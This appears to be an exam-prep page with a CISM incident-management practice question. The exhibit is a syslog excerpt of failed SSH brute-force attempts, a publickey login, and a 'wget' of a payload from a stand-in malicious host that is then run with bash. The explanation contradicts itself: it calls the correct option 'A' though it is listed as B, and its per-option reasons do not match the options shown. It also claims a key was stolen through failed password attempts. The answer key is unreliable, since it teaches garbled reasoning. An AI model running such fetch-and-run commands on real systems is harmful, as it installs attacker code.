This CISM practice question tests your understanding of incident management. The scenario asks you to isolate a root cause — eliminate options that address a different problem before choosing. After answering, compare your reasoning against the explanation and wrong-answer breakdown below. Once you have made your selection, read the full explanation to reinforce the concept and understand why each distractor is designed to mislead on exam day.
Exhibit
Refer to the exhibit.
Exhibit: Syslog output from a compromised server:
Mar 15 10:23:45 server1 sshd[1234]: Failed password for root from 10.0.0.50 port 2222 ssh2
Mar 15 10:23:50 server1 sshd[1234]: Failed password for root from 10.0.0.50 port 2222 ssh2
... (repeated 100 times)
Mar 15 10:25:00 server1 kernel: nf_conntrack: table full, dropping packet.
Mar 15 10:25:02 server1 sshd[1235]: Accepted publickey for admin from 10.0.0.51 port 4444 ssh2
Mar 15 10:25:10 server1 bash: sudo: whoami
Mar 15 10:25:12 server1 bash: sudo: wget http://malicious.example.com/payload.sh
Mar 15 10:25:30 server1 bash: bash payload.sh
Based on the exhibit, what is the MOST likely attack vector that led to the compromise?
Clue words in this question
Noticing these words before you look at the options changes how you read each choice.
Clue: "most likely"
Why it matters: Probability qualifier — the question wants the most probable cause or outcome, not a guaranteed one. Eliminate low-probability options.
Refer to the exhibit.
Exhibit: Syslog output from a compromised server:
Mar 15 10:23:45 server1 sshd[1234]: Failed password for root from 10.0.0.50 port 2222 ssh2
Mar 15 10:23:50 server1 sshd[1234]: Failed password for root from 10.0.0.50 port 2222 ssh2
... (repeated 100 times)
Mar 15 10:25:00 server1 kernel: nf_conntrack: table full, dropping packet.
Mar 15 10:25:02 server1 sshd[1235]: Accepted publickey for admin from 10.0.0.51 port 4444 ssh2
Mar 15 10:25:10 server1 bash: sudo: whoami
Mar 15 10:25:12 server1 bash: sudo: wget http://malicious.example.com/payload.sh
Mar 15 10:25:30 server1 bash: bash payload.sh
A
Exploitation of the nf_conntrack table full condition
Why wrong: The conntrack error is a result of high traffic, not a vulnerability.
B
Credential-based attack using a compromised SSH key from the brute force attempt
The failed attempts from 10.0.0.50 likely scanned for weak credentials; the successful login from a different IP used a key, suggesting a stolen key.
C
Vulnerability in the SSH password authentication
Why wrong: Authentication was via publickey, not password.
D
Successful brute force attack from 10.0.0.50
Why wrong: The logs show only failed attempts from that IP.
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Credential-based attack using a compromised SSH key from the brute force attempt
Option A is correct because the brute force attempt from 10.0.0.50 failed, but then a successful SSH login from 10.0.0.51 occurred, indicating credential reuse or stolen key from the brute force target. Option B is wrong because the brute force itself failed. Option C is wrong because the conntrack error is a symptom of the attack, not the vector. Option D is wrong because the admin account used a publickey authentication, not a password vulnerability.
Key principle: Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
✗
Exploitation of the nf_conntrack table full condition
Why it's wrong here
The conntrack error is a result of high traffic, not a vulnerability.
✓
Credential-based attack using a compromised SSH key from the brute force attempt
Why this is correct
The failed attempts from 10.0.0.50 likely scanned for weak credentials; the successful login from a different IP used a key, suggesting a stolen key.
Clue confirmation
The clue word "most likely" in the question point toward this answer.
Related concept
Read the scenario before looking for a memorised answer.
✗
Vulnerability in the SSH password authentication
Why it's wrong here
Authentication was via publickey, not password.
✗
Successful brute force attack from 10.0.0.50
Why it's wrong here
The logs show only failed attempts from that IP.
Common exam traps
Common exam trap: answer the scenario, not the keyword
Many certification questions include familiar terms but test a specific constraint. Read the exact wording before choosing an answer that is generally true but wrong for this case.
Trap categories for this question
Command / output trap
The logs show only failed attempts from that IP.
Detailed technical explanation
How to think about this question
This question should be treated as a scenario, not a definition check. Identify the problem, the constraint and the best action. Then compare each option against those facts.
KKey Concepts to Remember
Read the scenario before looking for a memorised answer.
Find the constraint that changes the correct option.
Eliminate answers that are true in general but not in this case.
Use explanations to understand the rule behind the answer.
TExam Day Tips
→Underline the problem statement mentally.
→Watch for words such as best, first, most likely and least administrative effort.
→Review why wrong options are wrong, not only why the correct option is correct.
Key takeaway
Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option.
Real-world example
How this comes up in practice
A practitioner preparing for the CISM exam encounters this exact type of scenario on the job. The correct answer here is not the most general option — it is the best answer for the specific constraint described. Answer the scenario, not the keyword: identify the specific constraint before choosing the most familiar-sounding option. Real exam questions reward reading the full scenario before eliminating options, because the constraint defines which answer fits.
What to study next
Got this wrong? Here's your next step.
Identify which CISM exam domain this question belongs to, then review the specific concept being tested. Practise related questions in that domain and focus on understanding why each wrong answer is tempting — not just why the correct answer is right.
Incident Management — This question tests Incident Management — Read the scenario before looking for a memorised answer..
What is the correct answer to this question?
The correct answer is: Credential-based attack using a compromised SSH key from the brute force attempt — Option A is correct because the brute force attempt from 10.0.0.50 failed, but then a successful SSH login from 10.0.0.51 occurred, indicating credential reuse or stolen key from the brute force target. Option B is wrong because the brute force itself failed. Option C is wrong because the conntrack error is a symptom of the attack, not the vector. Option D is wrong because the admin account used a publickey authentication, not a password vulnerability.
What should I do if I get this CISM question wrong?
Identify which CISM exam domain this question belongs to, then review the specific concept being tested. Practise related questions in that domain and focus on understanding why each wrong answer is tempting — not just why the correct answer is right.
Are there clue words in this question I should notice?
Yes — watch for: "most likely". Probability qualifier — the question wants the most probable cause or outcome, not a guaranteed one. Eliminate low-probability options.
What is the key concept behind this question?
Read the scenario before looking for a memorised answer.
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Question Discussion
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